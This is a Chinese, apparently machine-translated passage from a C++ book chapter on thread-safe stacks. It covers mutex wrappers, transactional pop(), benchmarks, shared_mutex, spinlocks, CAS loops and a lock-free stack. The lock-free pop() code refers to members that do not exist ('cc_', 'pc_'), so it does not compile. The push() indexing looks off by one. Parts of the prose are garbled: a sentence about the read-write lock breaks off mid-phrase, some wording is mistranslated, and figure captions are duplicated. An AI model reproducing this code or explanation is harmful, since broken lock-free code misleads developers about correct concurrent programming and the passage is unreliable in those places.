请注意,我们可以使用继承而不是封装。这样做将使得编写mt_stack的构造函数更容易:我们只需要一个using语句。然而,使用公共继承会暴露基类std::stack的每个成员函数,因此如果我们忘记包装其中的一个,代码将编译但会直接调用未受保护的成员函数。私有(或受保护的)继承可以避免这个问题,但会带来其他危险。一些构造函数需要重新实现:例如,移动构造函数需要锁定正在移动的堆栈,因此它需要自定义实现。还有几个构造函数在没有包装的情况下暴露会很危险,因为它们读取或修改它们的参数。总的来说,如果我们想要提供每个构造函数,最好是安全的。这与 C++的一个非常普遍的规则一致;优先使用组合而不是继承

我们的线程安全或多线程堆栈(这就是mt的含义)现在具有push功能,并且已经准备好接收数据。我们只需要接口的另一半,pop。我们当然可以按照前面的例子包装pop()方法,但这还不够:STL 堆栈使用三个单独的成员函数来从堆栈中移除元素。pop()移除顶部元素但不返回任何内容,所以如果你想知道堆栈顶部是什么,你必须先调用top()。如果堆栈为空,调用这两个方法是未定义行为,所以你必须先调用empty()并检查结果。好吧,我们可以包装所有三个方法,但这对我们来说毫无意义。在下面的代码中,假设堆栈的所有成员函数都受到锁的保护:

mt_stack<int> s;
  … push some data on the stack … 
int x = 0;
if (!s.empty()) {
  x = s.top();
  s.pop();
}

每个成员函数在多线程环境中都是完全线程安全的,但在多线程环境中完全无用:堆栈可能在某一时刻非空 - 我们碰巧调用s.empty()的时候 - 但在下一时刻变为空,在我们调用s.top()之前,因为另一个线程可能在此期间移除了顶部元素。

这很可能是整本书中最重要的一课:为了提供可用的线程安全功能,接口必须考虑线程安全。更一般地说,不可能在现有设计的基础上添加线程安全。相反,设计必须考虑线程安全。原因是:您可能选择在设计中提供某些保证和不变量,这些保证和不变量在并发程序中是不可能维护的。例如,std::stack提供了这样的保证,如果您调用empty()并且它返回false,则只要在这两次调用之间不对栈进行其他操作,您就可以安全地调用top()。在多线程程序中,几乎没有实用的方法来维护这个保证。

幸运的是,由于我们无论如何都要编写自己的包装器类,我们并不受约束,必须逐字使用包装类的接口。那么,我们应该做什么呢?显然,整个pop操作应该是一个单一的成员函数:它应该从栈中移除顶部元素并将其返回给调用者。一个复杂之处在于当栈为空时该怎么办。在这里我们有多个选择。我们可以返回值和一个布尔标志的对,指示栈是否为空(在这种情况下,值必须是默认构造的)。我们可以仅返回布尔值,并通过引用传递值(如果栈为空,则值保持不变)。在 C++17 中,自然的解决方案是返回std::optional,如下面的代码所示。它非常适合保存可能不存在的值的工作:

template <typename T> class mt_stack {
  std::stack<T> s_;
  std::mutex l_;
  public:
  std::optional<T> pop() {
    std::lock_guard g(l_);
    if (s_.empty()) {
      return std::optional<T>(std::nullopt);
    } else {
      std::optional<T> res(std::move(s_.top()));
      s_.pop();
      return res;
    }
  }
};

如您所见,从栈中弹出元素的整个操作现在受到锁的保护。这个接口的关键特性是它是事务性的:每个成员函数将对象从一个已知状态转换到另一个已知状态。

如果对象必须经过一些不够定义的中间状态的转换,比如在调用empty()之后但在调用pop()之前的状态,那么这些状态必须对调用者隐藏。调用者将被呈现一个单一的原子事务:要么返回顶部元素,要么通知调用者没有顶部元素。这确保了程序的正确性;现在,我们可以看看性能。

互斥保护数据结构的性能

我们的栈的性能如何?考虑到每个操作从头到尾都被锁定,我们不应该期望栈成员函数的调用会有任何扩展。最好的情况是,所有线程将按顺序执行它们的栈操作,但实际上,我们应该期望锁定会带来一些开销。如果我们将多线程栈的性能与单线程上的std::stack的性能进行比较,我们可以在基准测试中测量这种开销。

为了简化基准测试,您可以选择在std::stack周围实现一个单线程非阻塞的包装器,它呈现与我们的mt_stack相同的接口。请注意,您不能仅通过将元素推送到栈上来进行基准测试:您的基准测试可能会耗尽内存。同样,除非要测量从空栈中弹出的成本,否则您不能可靠地对弹出操作进行基准测试。如果基准测试运行时间足够长,您必须同时进行推送和弹出。最简单的基准测试可能如下所示:

mt_stack<int> s;
void BM_stack(benchmark::State& state) {
  const size_t N = state.range(0);
  for (auto _ : state) {
    for (size_t i = 0; i < N; ++i) s.push(i);
    for (size_t i = 0; i < N; ++i) 
      benchmark::DoNotOptimize(s.pop());
  }
  state.SetItemsProcessed(state.iterations()*N);
}

在运行多线程时,有可能会发生一些pop()操作在栈为空时发生。这可能是您设计栈的应用程序的现实情况。此外,由于基准测试只能给出数据结构在实际应用中性能的近似值,这可能并不重要。要进行更准确的测量,您可能需要模拟应用程序产生的推送和弹出操作的实际序列。无论如何,结果应该看起来像这样:

图 7.3 – 互斥保护栈的性能

图 7.3 - 互斥保护的堆栈的性能

请注意,“项”在这里是推送后跟弹出,因此“每秒项数”的值显示了我们可以每秒通过堆栈发送多少数据元素。作为比较,同样的堆栈在单个线程上的性能比没有任何锁的情况下快了 10 多倍:

图 7.4 - std::stack 的性能(与图 7.3 进行比较)

图 7.4 - std::stack 的性能(与图 7.3 进行比较)

正如我们所看到的,使用互斥锁实现的堆栈的性能相当差。然而,你不应该急于寻找或设计一些聪明的线程安全堆栈,至少现在还不是。你应该首先问的问题是,“这重要吗?”应用程序对堆栈上的数据做什么?比如说,每个数据元素是一个需要几秒钟的模拟参数,堆栈的速度可能并不重要。另一方面,如果堆栈是某个实时事务处理系统的核心,它的速度很可能是整个系统性能的关键。

顺便说一句,对于任何其他数据结构,如列表、双端队列、队列和树,其结果可能会类似,其中单个操作比互斥锁的操作快得多。但在我们尝试提高性能之前,我们必须考虑我们的应用程序需要什么样的性能。

不同用途的性能要求

在本章的其余部分,让我们假设数据结构的性能对你的应用程序很重要。现在,我们能看到最快的堆栈实现了吗?同样,还没有。我们还需要考虑使用模型;换句话说,我们对堆栈做什么,什么需要快。

例如,正如我们刚刚看到的,互斥保护的堆栈性能不佳的主要原因是其速度基本上受到互斥本身的限制。对堆栈操作进行基准测试几乎与对互斥锁进行基准测试相同。提高性能的一种方法是改进互斥锁的实现或使用另一种同步方案。另一种方法是更少地使用互斥锁;这种方式需要我们重新设计客户端代码。

例如,很多时候,调用者有多个项目必须推送到堆栈上。同样,调用者可能能够一次从堆栈中弹出多个元素并处理它们。在这种情况下,我们可以使用数组或另一个容器实现批量推送或批量弹出,一次复制多个元素到堆栈中或从堆栈中。由于锁的开销很大,我们可以期望使用一个锁/解锁操作将 1,024 个元素推送到堆栈上比分别在单独的锁下推送每个元素更快。事实上,基准测试显示情况是这样的:

图 7.5 - 批处理堆栈操作的性能(每个锁 1,024 个元素)

图 7.5 - 批处理堆栈操作的性能(每个锁 1,024 个元素)

我们应该非常清楚这种技术能做什么,以及不能做什么:如果关键部分比锁操作本身快得多,它可以减少锁的开销。它并不能使锁定的操作扩展。此外,通过延长关键部分,我们迫使线程在锁上等待更长时间。如果所有线程大部分时间都在尝试访问堆栈(这就是为什么基准测试变得更快的原因),这是可以接受的。但是,如果在我们的应用程序中,线程大部分时间都在做其他计算,只偶尔访问堆栈,那么更长的等待时间可能会降低整体性能。要明确回答批量推送和批量弹出是否有益,我们需要在更真实的环境中对它们进行分析。

还有其他情景,寻找更有限的、特定于应用程序的解决方案可以获得远高于任何改进的通用解决方案的性能增益。例如,在一些应用程序中,一个单独的线程预先将大量数据推送到堆栈上,然后多个线程从堆栈中移除数据并处理它,可能还会将更多数据推送到堆栈上。在这种情况下,我们可以实现一个未锁定的推送,仅在单线程上下文中使用。虽然责任在于调用者永远不要在多线程上下文中使用这种方法,但未锁定的堆栈比锁定的堆栈快得多,可能值得复杂化。

更复杂的数据结构提供了各种使用模型,但即使堆栈也可以用于更多的简单推送和弹出。我们还可以查看顶部元素而不删除它。std::stack提供了top()成员函数,但同样,它不是事务性的,所以我们必须创建自己的。它与事务性的pop()函数非常相似,只是不删除顶部元素:

template <typename T> class mt_stack {
  std::stack<T> s_;
  mutable std::mutex l_;
  public:
  std::optional<T> top() const {
    std::lock_guard g(l_);
    if (s_.empty()) {
      return std::optional<T>(std::nullopt);
    } else {
      std::optional<T> res(s_.top());
      return res;
    }
  }
};

请注意,为了允许只查找的函数top()被声明为const,我们必须将互斥锁声明为mutable。这应该谨慎处理:多线程程序的约定是,遵循 STL,只要不调用非const成员函数,所有const成员函数都可以安全地在多个线程上调用。这通常意味着const方法不修改对象,它们确实是只读的。可变数据成员违反了这一假设。至少在修改它们时应该避免任何竞争条件。互斥锁满足这两个要求。

现在我们可以考虑不同的使用模式。在一些应用程序中,数据被推送到堆栈上并从中弹出。在其他情况下,顶部堆栈元素可能需要在每次推送和弹出之间被多次检查。让我们首先关注后一种情况。再次检查top()方法的代码。这里显然存在一个低效:由于锁的存在,只有一个线程可以在任何时刻读取堆栈的顶部元素。但是读取顶部元素是一个非修改(只读)操作。如果所有线程都这样做,而且没有线程同时尝试修改堆栈,我们根本不需要锁,top()操作将会完美扩展。相反,它的性能与pop()方法相似。

我们不能在top()中省略锁的原因是我们无法确定另一个线程是否同时调用push()pop()。但即使如此,我们也不需要锁定两次对top()的调用;它们可以同时进行。只有修改堆栈的操作需要被锁定。有一种锁提供了这样的功能;它通常被称为top()方法使用共享锁,因此任意数量的线程可以同时执行它,但push()pop()方法需要唯一锁:

template <typename T> class rw_stack {
  std::stack<T> s_;
  mutable std::shared_mutex l_;
  public:
  void push(const T& v) {
    std::unique_lock g(l_);
    s_.push(v);
  }
  std::optional<T> pop() {
    std::unique_lock g(l_);
    if (s_.empty()) {
      return std::optional<T>(std::nullopt);
    } else {
      std::optional<T> res(std::move(s_.top()));
      s_.pop();
      return res;
    }
  }
  std::optional<T> top() const {
    std::shared_lock g(l_);
    if (s_.empty()) {
      return std::optional<T>(std::nullopt);
    } else {
      std::optional<T> res(s_.top());
      return res;
    }
  }
};

不幸的是,我们的基准测试显示,即使使用读写锁,top()的调用性能也无法扩展:

图 7.6 – 使用 std::shared_mutex 的堆栈性能;只读操作

图 7.6 – 使用 std::shared_mutex 的堆栈性能;只读操作

甚至更糟的是,需要唯一锁的操作的性能与常规互斥锁相比会进一步下降:

图 7.7 – 使用 std::shared_mutex 的堆栈性能;写操作

图 7.7 – 使用 std::shared_mutex 的堆栈性能;写操作

通过将图 7.67.7图 7.4中的早期测量进行比较,我们可以看到读写锁根本没有给我们带来任何改进。这个结论远非普遍适用:不同互斥锁的性能取决于实现和硬件。然而,一般来说,更复杂的锁,如共享互斥锁,会比简单的锁有更多的开销。它们的目标应用是不同的:如果临界区本身花费了更长的时间(比如毫秒而不是微秒),并且大多数线程执行只读代码,那么不锁定只读线程之间的互斥将具有很大的价值,几微秒的开销将不太明显。

更长的临界区观察非常重要:如果我们的栈元素更大,并且复制起来非常昂贵,那么锁的性能就不那么重要了,与复制大对象的成本相比,我们会开始看到扩展。然而,假设我们的总体目标是使程序快速,而不是展示可扩展的栈实现,我们将通过完全消除昂贵的复制并使用指针栈来优化整个应用程序。

尽管我们在读写锁方面遭受了挫折,但我们对更高效的实现思路是正确的。但在我们设计之前,我们必须更详细地了解栈操作的确切内容以及在每一步可能发生的数据竞争。

栈性能详解

当我们试图改进线程安全栈(或任何其他数据结构)的性能超出简单的锁保护实现时,我们首先必须详细了解每个操作涉及的步骤以及它们如何与在不同线程上执行的其他操作交互。这一部分的主要价值不在于更快的栈,而在于这种分析:事实证明,这些低级步骤对许多数据结构都是共同的。让我们从推送操作开始。大多数栈实现都是建立在某种类似数组的容器之上,因此让我们将栈顶视为连续的内存块:

图 7.8 - 推送操作的栈顶

图 7.8 - 推送操作的栈顶

栈上有N个元素,因此元素计数也是下一个元素将放置的第一个空槽的索引。推送操作必须将顶部索引(也是元素计数)从N增加到N+1来保留其槽,然后在槽N中构造新元素。请注意,这个顶部索引是数据结构的唯一部分,其中进行推送的线程可以相互交互:只要索引增量操作是线程安全的,只有一个线程可以看到索引的每个值。执行推送的第一个线程将顶部索引提升到N+1并保留第N个槽,下一个线程将索引增加到N+2并保留第N+1个槽,依此类推。关键点在于这里对槽本身没有竞争:只有一个线程可以获得特定的槽,因此它可以在那里构造对象,而不会有其他线程干扰。

这表明推送操作的非常简单的同步方案:我们只需要一个用于顶部索引的原子值:

std::atomic<size_t> top_;

推送操作会原子地增加这个索引,然后在由索引的旧值索引的数组槽中构造新元素:

const size_t top = top_.fetch_add(1);
new (&data[top]) Element(… constructor arguments … );

再次强调,没有必要保护构建步骤免受其他线程的影响。原子索引是我们使推送操作线程安全所需要的一切。顺便说一句,如果我们使用数组作为堆栈内存,这也是正确的。如果我们使用std::deque这样的容器,我们不能简单地在其内存上构建一个新元素:我们必须调用push_back来更新容器的大小,即使 deque 不需要分配更多的内存,这个调用也不是线程安全的。因此,超出基本锁的数据结构实现通常也必须管理自己的内存。说到内存,到目前为止,我们假设数组有空间添加更多的元素,并且我们不会用尽内存。让我们暂时坚持这个假设。

到目前为止,我们已经找到了一种非常高效的方法来在特定情况下实现线程安全的推送操作:多个线程可以将数据推送到堆栈,但在所有推送操作完成之前没有人读取它。

如果我们有一个已经推送元素的堆栈,并且需要弹出它们(并且不再添加新元素),相同的想法也适用。图 7.8也适用于这种情况:一个线程原子递减顶部计数,然后将顶部元素返回给调用者。

const size_t top = top_.fetch_sub(1);
return std::move(data[top]);

原子递减保证只有一个线程可以访问每个数组槽作为顶部元素。当然,这仅在堆栈不为空时才有效。我们可以将顶部元素索引从无符号整数更改为有符号整数;然后,当索引变为负数时,我们就知道堆栈为空了。

这是再次在非常特殊的条件下实现线程安全的弹出操作的非常高效的方法:堆栈已经被填充,并且没有添加新元素。在这种情况下,我们也知道堆栈上有多少元素,因此很容易避免尝试弹出空堆栈。

在某些特定的应用中,这可能具有一定的价值:如果堆栈首先由多个线程填充而没有弹出,并且程序中有一个明确定义的切换点,从添加数据到删除数据,那么我们对问题的每一半都有一个很好的解决方案。但让我们继续讨论更一般的情况。

我们非常高效的推送操作,不幸的是,在从堆栈中读取时没有帮助。让我们再次考虑如何实现弹出顶部元素的操作。我们有顶部索引,但它告诉我们的只是当前正在构建的元素数量;它并没有告诉我们最后一个构建完成的元素的位置(图 7.9中的第N-3个元素):

图 7.9 - 推送和弹出操作的堆栈顶部

图 7.9 - 推送和弹出操作的堆栈顶部

当然,进行推送和因此构建的线程知道何时完成。也许我们需要另一个计数,显示有多少元素完全构建了。遗憾的是,如果只是那么简单就好了。在图 7.9中,假设线程 A 正在构建元素N-2,线程 B 正在构建元素N-1。显然,线程 A 首先增加了顶部索引。但这并不意味着它也会首先完成推送。线程 B 可能会先完成构建。现在,堆栈上最后构建的元素的索引是N-1,所以我们可以将构建计数提高到N-1(注意我们跳过了仍在构建中的元素N-2)。现在我们想弹出顶部元素;没问题,元素N-1已经准备好了,我们可以将其返回给调用者并从堆栈中删除它;构建计数现在减少到N-2。接下来应该弹出哪个元素?元素N-2仍然没有准备好,但我们的堆栈中没有任何内容告诉我们。我们只有一个用于完成元素的计数,它的值是N-1。现在我们在构建新元素的线程和尝试弹出它的线程之间存在数据竞争。

即使没有这场竞赛,还有另一个问题:我们刚刚弹出了元素N-1,这在当时是正确的。但与此同时,线程 C 请求了一个推送。应该使用哪个槽?如果我们使用槽N-1,我们就有可能覆盖线程 A 当前正在访问的相同元素。如果我们使用槽N,那么一旦所有操作完成,数组中就会有一个空洞:顶部元素是N,但下一个元素不是N-1:它已经被弹出,我们必须跳过它。这个数据结构中没有任何内容告诉我们我们必须这样做。

我们可以跟踪哪些元素是真实的,哪些是空洞的,但这变得越来越复杂(以线程安全的方式进行将需要额外的同步,这将降低性能)。此外,留下许多未使用的数组槽会浪费内存。我们可以尝试重用空洞来存放推送到堆栈上的新元素,但在这一点上,元素不再按顺序存储,原子顶部计数不再起作用,整个结构开始变得像一个列表。顺便说一句,如果你认为列表是实现线程安全堆栈的好方法,等到你看到本章后面实现线程安全列表需要付出的努力时再说吧。

在我们的设计中,我们必须暂停对实现细节的深入探讨,并再次审视问题的更一般方法。我们必须做两步:从我们对堆栈实现细节的更深入理解中得出结论,并进行一些性能估算,以对可能产生性能改进的解决方案有一个大致的了解。我们将从后者开始。

同步方案的性能估算

我们第一次尝试了一个非常简单的堆栈实现,没有锁定,为特殊情况提供了一些有趣的解决方案,但没有一般解决方案。在我们花费更多时间构建复杂设计之前,我们应该尝试估计它比简单基于锁的解决方案更有效的可能性有多大。

当然,这可能看起来像循环推理:为了估计性能,我们必须首先有一些东西来估计。但我们不希望在至少有一些保证努力会有所回报的情况下进行复杂的设计,这些保证需要性能估计。

幸运的是,我们可以回到我们之前学到的一般观察:并发数据结构的性能在很大程度上取决于有多少共享变量同时访问。让我们假设我们可以想出一个巧妙的方法来使用单个原子计数器实现堆栈。假设每次推送和弹出都至少要对这个计数器进行一次原子递增或递减(除非我们正在进行批量操作,但我们已经知道它们更快)。如果我们进行一个基准测试,将单线程堆栈上的推送和弹出与共享原子计数器上的原子操作相结合,我们可以得到一个合理的性能估计。由于没有同步进行,因此我们必须为每个线程使用一个单独的堆栈,以避免竞争条件:

std::atomic<size_t> n;
void BM_stack0_inc(benchmark::State& state) {
  st_stack<int> s0;
  const size_t N = state.range(0);
  for (auto _ : state) {
    for (size_t i = 0; i < N; ++i) {
      n.fetch_add(1, std::memory_order_release);
      s0.push(i);
    }
    for (size_t i = 0; i < N; ++i) {
      n.fetch_sub(1, std::memory_order_acquire);
      benchmark::DoNotOptimize(s0.pop());
    }
  }
  state.SetItemsProcessed(state.iterations()*N);
}

在这里,st_stack是一个堆栈包装器,它提供与我们基于锁的mt_stack相同的接口,但没有任何锁。实际实现会稍慢一些,因为堆栈顶部也在线程之间共享,但这将给我们一个从上面估计出来的结果:实际上是线程安全的任何实现都不太可能胜过这个人工基准测试。我们将结果与什么进行比较?图 7.3中基于锁的堆栈的基准测试显示,在一个线程上每秒 30M 次推送/弹出操作,8 个线程上为 3.1M 次。我们还知道没有任何锁的堆栈的基准性能约为每秒 485M 次操作(图 7.4)。在同一台机器上,我们使用单个原子计数器进行的性能估计得出这些结果:

图 7.10 - 具有单个原子计数器的假设堆栈的性能估计

图 7.10 - 具有单个原子计数器的假设堆栈的性能估计

结果看起来有点复杂:即使在最佳条件下,我们的堆栈也无法扩展。这主要是因为我们正在测试一个小元素的堆栈;如果元素很大且复制成本很高,我们会看到扩展,因为多个线程可以同时复制数据。但前面的观察仍然成立:如果复制数据变得如此昂贵,以至于我们需要许多线程来执行它,我们最好使用指针堆栈,根本不复制任何数据。

另一方面,原子计数器比基于互斥体的堆栈快得多。当然,这只是一个从上面估计出来的结果,但它表明无锁堆栈有一些可能性。然而,基于锁的堆栈也有:当我们需要锁定非常短的临界区时,有比std::mutex更有效的锁。在第六章中我们已经看到了这样一种锁,并发和性能,当我们实现了自旋锁。如果我们在基于锁的堆栈中使用这个自旋锁,那么,我们得到的结果不是图 7.2,而是这些结果:

图 7.11 - 基于自旋锁的堆栈的性能

图 7.11 - 基于自旋锁的堆栈的性能

将这个结果与图 7.10进行比较,得出一个非常沮丧的结论:我们不可能设计出一个无锁设计,它能胜过一个简单的自旋锁。自旋锁之所以能在某些情况下胜过原子递增,是因为在这个特定硬件上不同原子指令的相对性能;我们不应该对此过分解读。

我们可以尝试使用原子交换或比较和交换来进行相同的估计,而不是原子增量。当您了解更多关于设计线程安全数据结构的知识时,您将对哪种同步协议可能有用以及哪些操作应该包括在估计中有所了解。此外,如果您使用特定的硬件,您应该运行简单的基准测试来确定哪些操作在其上更有效。到目前为止,所有结果都是在基于 X86 的硬件上获得的。如果我们在专门设计用于 HPC 应用的大型 ARM 服务器上运行相同的估计,我们将得到一个非常不同的结果。基于锁的栈的基准测试产生了这些结果:

图 7.12 - 在 ARM HPC 系统上基于锁的栈的性能

图 7.12 - 在 ARM HPC 系统上基于锁的栈的性能

ARM 系统通常比 X86 系统具有更多的核心,而单个核心的性能较低。这个特定系统有两个物理处理器上的 160 个核心,当程序在两个 CPU 上运行时,锁的性能显著下降。对无锁栈性能的上限估计应该使用比原子增量更有效的比较和交换指令(后者在这些处理器上特别低效)。

图 7.13 - 具有单个 CAS 操作的假设栈的性能估计(ARM 处理器)

图 7.13 - 具有单个 CAS 操作的假设栈的性能估计(ARM 处理器)

基于图 7.13中的估计,对于大量的线程,我们有可能会得到比基于简单锁的栈更好的东西。我们将继续努力开发无锁栈。有两个原因:首先,这一努力最终将在某些硬件上得到回报。其次,这种设计的基本元素将在以后的许多其他数据结构中看到,而栈为我们提供了一个简单的测试案例来学习它们。

无锁栈

既然我们决定尝试超越简单的基于锁的实现,我们需要考虑我们从对推入和弹出操作的探索中学到的教训。每个操作本身非常简单,但两者的交互才会产生复杂性。这是一个非常常见的情况:在多个线程上正确同步生产者和消费者操作要比仅处理生产者或仅处理消费者要困难得多。在设计自己的数据结构时请记住这一点:如果您的应用程序允许对您需要支持的操作进行任何形式的限制,比如生产者和消费者在时间上是分开的,或者只有一个生产者(或消费者)线程,那么您几乎可以肯定地为这些有限操作设计一个更快的数据结构。

假设我们需要一个完全通用的堆栈,生产者-消费者交互的问题的本质可以通过一个非常简单的例子来理解。同样,我们假设堆栈是在数组或类似数组的容器之上实现的,并且元素是连续存储的。假设我们当前有N个元素在堆栈上。生产者线程 P 正在执行推送操作,消费者线程 C 同时正在执行弹出操作。结果应该是什么?虽然诱人的是尝试设计一个无等待的设计(就像我们为仅消费者或仅生产者所做的那样),但是任何允许两个线程在不等待的情况下继续进行的设计都将破坏我们关于元素存储方式的基本假设:线程 C 必须等待线程 P 完成推送或返回当前顶部元素N。同样,线程 P 必须等待线程 C 完成或在槽N+1中构造一个新元素。如果两个线程都不等待,结果就是数组中的一个空洞:最后一个元素的索引为N+1,但在槽N中没有存储任何东西,因此我们在从堆栈中弹出数据时必须以某种方式跳过它。

看起来我们必须放弃无等待堆栈实现的想法,并让其中一个线程等待另一个线程完成其操作。当顶部索引为零且消费者线程尝试进一步减少它时,我们还必须处理空堆栈的可能性。当顶部索引指向最后一个元素且生产者线程需要另一个槽时,也会出现类似的问题。

这两个问题都需要有界的原子递增操作:执行递增(或递减),除非值等于指定的边界。在 C++中没有现成的原子操作(或者在当今任何主流硬件上都没有),但我们可以使用比较和交换CAS)来实现它,如下所示:

std::atomic<int> n_ = 0;
int bounded_fetch_add(int dn, int maxn) {
  int n = n_.load(std::memory_order_relaxed);
  do {
    if (n + dn >= maxn || n + dn < 0) return -1;
  } while (!n_.compare_exchange_weak(n, n + dn,
           std::memory_order_release,
           std::memory_order_relaxed));
  return n;
}

这是 CAS 操作用于实现复杂的无锁原子操作的典型示例:

  1. 读取变量的当前值。

  2. 检查必要的条件。在我们的情况下,我们验证递增不会给我们带来指定边界0,maxn)之外的值。如果有界递增失败,我们通过返回-1向调用者发出信号(这是一个任意选择;通常,对于超出边界的情况,有特定的操作要执行)。

  3. 如果当前值仍然等于我们之前读取的值,则用所需的结果原子替换该值。

  4. 如果步骤 3失败,当前值已被更新,再次检查它,并重复步骤 34,直到成功。

尽管这可能看起来像是一种锁,但有一个根本的区别:CAS 比较在一个线程上失败的唯一方式是如果它在另一个线程上成功(并且原子变量被递增),所以每当共享资源存在争用时,至少一个线程保证能够取得进展。

还有一个重要的观察结果,通常是实现可扩展性和非常低效实现之间的关键区别。如所写的 CAS 循环对大多数现代操作系统的调度算法非常不友好:循环失败的线程还会消耗更多的 CPU 时间,并且会被赋予更高的优先级。这与我们想要的正好相反:我们希望当前正在执行有用工作的线程运行得更快。解决方案是在几次不成功的 CAS 尝试后让线程让出调度器。这可以通过一个依赖于操作系统的系统调用来实现,但 C++通过调用std::this_thread::yield()具有一个与系统无关的 API。在 Linux 上,通常可以通过调用nanosleep()函数来睡眠最短可能的时间(1 纳秒)来获得更好的性能,每次循环迭代都这样做:

  int i = 0;
  while ( … ) {
    if (++i == 8) {
      static constexpr timespec ns = { 0, 1 };
      i = 0;
      nanosleep(&ns, NULL);
    }
  }

相同的方法可以用来实现更复杂的原子事务,比如栈的推送和弹出操作。但首先,我们必须弄清楚需要哪些原子变量。对于生产者线程,我们需要数组中第一个空闲插槽的索引。对于消费者线程,我们需要最后一个完全构造的元素的索引。这是我们关于栈当前状态的所有信息,假设我们不允许数组中的“空洞”:

![图 7.14 – 无锁栈:c_是最后一个完全构造的元素的索引,p_是数组中第一个空闲插槽的索引

图 7.14 – 无锁栈:c_是最后一个完全构造的元素的索引,p_是数组中第一个空闲插槽的索引

首先,如果两个索引当前不相等,那么推送和弹出都无法进行:不同的计数意味着要么正在构造新元素,要么正在复制当前顶部元素。在这种状态下对栈进行修改可能导致数组中的空洞的创建。

如果两个索引相等,那么我们可以继续。要进行推送,我们需要原子地增加生产者索引p_(受数组当前容量的限制)。然后我们可以在刚刚保留的插槽中构造新元素(由旧值p_索引)。然后我们增加消费者索引c_,表示新元素已经可供消费者线程使用。请注意,另一个生产者线程甚至可以在构造完成之前抢占下一个插槽,但在允许任何消费者线程弹出元素之前,我们必须等待所有新元素都被构造。这样的实现是可能的,但它更加复杂,而且倾向于当前执行的操作:如果推送当前正在进行,弹出必须等待,但另一个推送可以立即进行。结果很可能是一堆推送操作在执行,而所有消费者线程都在等待(如果弹出操作正在进行,效果类似;它会倾向于另一个弹出)。

弹出的实现方式类似,只是我们首先将消费者索引c_减少到保留顶部插槽,然后在从栈中复制或移动对象之后再减少p_

我们还需要学习一个技巧,那就是如何原子地操作这两个计数。例如,我们之前说过,线程必须等待两个索引变得相等。这怎么实现呢?如果我们原子地读取一个索引,然后再原子地读取另一个索引,那么第一个索引自从我们读取它以来可能已经发生了变化。我们必须在一个原子操作中读取两个索引。对于索引的其他操作也是如此。C++允许我们声明一个包含两个整数的原子结构;但是,我们必须小心:很少有硬件平台有一个双 CAS指令,可以原子地操作两个长整数,即使有,它通常也非常慢。更好的解决方案是将两个值打包到一个 64 位字中(在 64 位处理器上)。硬件原子指令(如加载或比较和交换)实际上并不关心你将如何解释它们读取或写入的数据:它们只是复制和比较 64 位字。你以后可以将这些位视为长整数、双精度浮点数或一对整数(原子增量当然是不同的,这就是为什么你不能在双精度值上使用它)。

现在,我们只需要将前面的算法转换成代码:

template <typename T> class mt_stack {
  std::deque<T> s_;
  int cap_ = 0;
  struct counts_t {
    int p_ = 0; // Producer index
    int c_ = 0; // Consumer index
    bool equal(std::atomic<counts_t>& n) {
      if (p_ == c_) return true;
      *this = n.load(std::memory_order_relaxed);
      return false;
    }
  };
  mutable std::atomic<counts_t> n_;
  public:
  mt_stack(size_t n = 100000000) : s_(n), cap_(n) {}
  void push(const T& v);
  std::optional<T> pop();
};

这两个索引是打包成 64 位原子值的 32 位整数。equal()方法可能看起来很奇怪,但它的目的很快就会变得明显。如果两个索引相等,则返回 true;否则,它会从指定的原子变量中更新存储的索引值。这遵循了我们之前看到的 CAS 模式:如果条件不满足,再次读取原子变量。

请注意,我们不能再在 STL 堆栈的基础上构建我们的线程安全堆栈:容器本身在线程之间是共享的,即使容器不再增长,对其进行push()pop()操作也不是线程安全的。为简单起见,在我们的示例中,我们使用了一个 deque,它初始化了足够大数量的默认构造元素。只要我们不调用任何容器成员函数,我们就可以独立地在不同的线程中操作容器的不同元素。请记住,这只是一个快捷方式,可以避免同时处理内存管理和线程安全:在任何实际实现中,您不希望预先默认构造所有元素(而且元素类型甚至可能没有默认构造函数)。通常,高性能的并发软件系统都有自己的自定义内存分配器。否则,您也可以使用一个与堆栈元素类型大小和对齐方式相同的虚拟类型的 STL 容器,但具有简单的构造函数和析构函数(实现足够简单,留给读者作为练习)。

推送操作实现了我们之前讨论的算法:等待索引变得相等,推进生产者索引p_,构造新对象,完成后推进消费者索引c_

void push(const T& v) {
  counts_t n = n_.load(std::memory_order_relaxed);
  if (n.p_ == cap_) abort();
  while (!n.equal(n_) || 
    !n_.compare_exchange_weak(n, {n.p_ + 1, n.c_},
      std::memory_order_acquire,
      std::memory_order_relaxed)) {
    if (n.p_ == cap_) { … allocate more memory … }
  };
  ++n.p_;
  new (&s_[n.p_]) T(v);
  assert(n_.compare_exchange_strong(n, {n.p_, n.c_ + 1},
    std::memory_order_release, std::memory_order_relaxed);
}

除非我们的代码中有错误,否则最后的 CAS 操作不应该失败:一旦调用线程成功推进了p_,没有其他线程可以改变任何一个值,直到相同的线程推进了c_以匹配(正如我们已经讨论过的,这里存在一个低效性,但修复它会带来更高的复杂性成本)。另外,请注意,为了简洁起见,我们省略了循环内的nanosleep()yield()调用,但在任何实际实现中都是必不可少的。

弹出操作类似,只是首先减少消费者索引c_,然后在从堆栈中移除顶部元素时,减少p_以匹配c_

std::optional<T> pop() {
  counts_t n = n_.load(std::memory_order_relaxed);
  if (n.c_ == 0) return std::optional<T>(std::nullopt);
  while (!n.equal(n_) || 
    !n_.compare_exchange_weak(n, {n.p_, n.c_ - 1},
      std::memory_order_acquire,
      std::memory_order_relaxed)) {
    if (n.c_ == 0) return std::optional<T>(std::nullopt);
  };
  --n.cc_;
  std::optional<T> res(std::move(s_[n.p_]));
  s_[n.pc_].~T();
  assert(n_.compare_exchange_strong(n, {n.p_ - 1, n.c_},
    std::memory_order_release, std::memory_order_relaxed)); 
  return res;
}

同样,如果程序正确,最后的比较和交换操作不应该失败。

无锁堆栈是可能的最简单的无锁数据结构之一,而且它已经相当复杂。验证我们的实现是否正确所需的测试并不简单:除了所有单线程单元测试之外,我们还必须验证是否存在竞争条件。这项任务得到了最近 GCC 和 CLANG 编译器中可用的线程检测器TSAN)等消毒工具的大大简化。这些消毒工具的优势在于它们可以检测潜在的数据竞争,而不仅仅是在测试期间实际发生的数据竞争(在小型测试中,观察到两个线程同时不正确地访问相同内存的机会相当渺茫)。

经过我们所有的努力,无锁堆栈的性能如何?如预期的那样,在 X86 处理器上,它并没有超越基于自旋锁的版本:

图 7.15 - X86 CPU 上无锁堆栈的性能(与图 7.11 进行比较)

图 7.15 - X86 CPU 上无锁堆栈的性能(与图 7.11 进行比较)

